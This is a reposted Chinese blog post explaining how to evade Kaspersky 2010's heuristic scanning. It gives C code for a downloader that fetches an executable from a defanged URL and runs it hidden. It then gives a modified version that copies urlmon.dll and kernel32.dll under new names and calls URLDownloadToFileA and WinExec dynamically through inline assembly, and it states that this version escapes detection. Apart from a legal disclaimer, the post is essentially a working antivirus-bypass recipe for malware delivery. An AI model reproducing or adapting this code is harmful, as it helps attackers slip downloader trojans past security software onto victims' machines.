分析卡巴斯基启发式扫描及其绕过方案

转载自：http://blog.sina.com.cn/s/blog_63a4534c01012ugj.html

卡巴斯基2010有强大的启发式扫描，其实启发式扫描有很多弱点，有一个就是不能完全的模拟程序的运行环境，这就可能给我们留出来了一块空间来绕过启发式扫描，其实其它杀毒软件的启发式扫描都存在这些空间，下面就来分析一下卡巴斯基的启发式扫描吧！
首先要编一段程序来完成测试，程序一定要非常的针对启发式扫描这一块的，不然的话没有效果，选那段代码来测试呢？恩，有段代码启发式扫描几乎都要扫描的，那就是下载者的代码，一般的下载者代码如下：

（为防止误点击，所有网址已设为hxxp，欲尝试请修改后再访问）

int _tmain(int argc, _TCHAR* argv[])
{
URLDownloadToFileA(NULL,"hxxp://www.hehe/yan.exe","c:\yan.exe",0,NULL);
WinExec("C:\yan.exe",SW_HIDE);
}

上面代码应该是最熟悉的了，启发式扫描发现调用URLDownloadToFileA和WinExec就认为是病毒了，先写这么一个程序，放到卡巴斯基2010下
于是，卡巴报下载者病毒，看来卡巴的启发式扫描起作用了，经过测试，无论改成动态调用还是其它方案，只要调用Kennel32.dll中的WinExec和UrlMon.dll中的URLDownloadToFileA都无法躲过卡巴斯基的启发式扫描。
下面开始以启发式扫描的弱点来测试，那就是不能完全模拟程序运行环境的，当我们创建文件等操作时，在启发式扫描的环境中实际是没有操作的，那么方法诞生 了，可以先复制一个Kernel32.dll的副本Kaba.dll，然后动态调用KaBa.dll中的WinExec函数，那么启发式扫描应该作废了， 因为在启发式扫描的环境中根本不会真正的复制一个Kaba.dll文件，那么我们的动态调用就是未知的，所以我们的程序很安全。修改代码如下：

char * Str="c:\yan.exe";
     char * Url="hxxp://www.hehe/yan.exe";
    CopyFileA("C:\windows\system32\urlmon.dll","c:\windows\system32\KaBaUrl.dll",true);
     LoadLibrary("KaBaUrl.dll");
     PVOID Dwon=GetProcAddress(GetModuleHandle("KaBaUrl.dll"),"URLDownloadToFileA");
     _asm
     {
         push 0
         push 0
         push Str
         push Url
         push 0
         call Dwon
     }
CopyFileA("c:\windows\system32\kernel32.dll","c:\windows\system32\KaBa.dll",true); LoadLibrary("KaBa.dll");
     PVOID Fun=GetProcAddress(GetModuleHandle("KaBa.dll"),"WinExec");
    _asm
     {
         push SW_HIDE
         push Str
         call Fun
}

上面代码生成的程序运行时，卡巴不会有任何反应，看来启发式扫描还有很大的缺点，最后希望卡巴斯基的启发式扫描越来越完善，到杀毒软件的启发式扫描能完全 模拟程序运行环境时，那么启发式扫描可能就不叫启发式扫描了（声明：上面代码只做测试使用，凡是用于非法用途的，后果自负。）